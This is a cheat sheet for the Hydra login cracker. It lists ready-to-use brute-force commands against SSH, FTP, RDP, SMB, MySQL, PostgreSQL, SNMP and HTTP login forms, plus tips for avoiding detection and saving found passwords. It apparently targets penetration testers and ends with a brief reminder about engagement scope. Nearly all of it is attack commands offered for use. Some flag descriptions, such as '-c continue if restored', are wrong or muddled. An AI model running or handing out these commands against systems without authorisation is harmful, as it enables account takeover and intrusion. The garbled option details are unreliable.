Hydra Cheat Sheet

Hydra = parallel network login cracker. -L = user list, -l = single user, -P = password list, -p = single password, -t = threads.

Basic (Online Brute Force)

• SSH hydra -l root -P pass.txt <target> ssh
• SSH with user list hydra -L users.txt -P pass.txt <target> ssh
• FTP hydra -L users.txt -P pass.txt <target> ftp
• RDP hydra -L users.txt -P pass.txt <target> rdp
• HTTP Basic auth hydra -L users.txt -P pass.txt <target> http-get /
• SMB hydra -L users.txt -P pass.txt <target> smb
• Telnet hydra -L users.txt -P pass.txt <target> telnet
• MySQL hydra -L users.txt -P pass.txt <target> mysql
• PostgreSQL hydra -L users.txt -P pass.txt <target> postgres
• SNMP (community strings) hydra -P comstr.txt <target> snmp

Web Login Forms (POST)

• POST form, fields user/pass, fail string “incorrect login”:

  hydra -L users.txt -P pass.txt <target> http-post-form \
  "/login.php:user=^USER^&pass=^PASS^:incorrect"
  

• Form with CSRF token: use HURL for dynamic token (see Cookie + regex via curl extraction), or note the token field
• JSON API login (http-post-form with Content-Type via appending header in form data)

HTTP Header / GET brute

• HTTP basic auth on a path hydra -L users.txt -P pass.txt <target> http-get /admin/
• NTLM / SMB shares hydra -M hosts.txt -L users.txt -P pass.txt smb

Evasion & Speed

• Limit threads -t 4 (avoid lockouts)
• Add a delay between tries -W 10
• Timeout per attempt -w 5
• Restore / continue a previous session hydra -R ... (use saved session file), -c continue if restored
• Randomized client IP? no — use -o output and small wordlists to stay under the radar

Modular / Service Plugins — check built-ins

• List all supported protocols hydra -U (or hydra -h shows -U=show usage for module)
• Mind default lockout / rate-limiting before you start; prefer -f to exit on first valid password (-f stop after first found)

Output

• Save successes to file -o results.txt
• Verbose attempts -v
• Show login attempts -V

Best Practice on engagement

• Extract valid usernames first (enumeration) → use -L
• Reuse a per-user password list order if Hashcat rules suggest patterns
• Never brute force beyond your engagement scope’s rate limits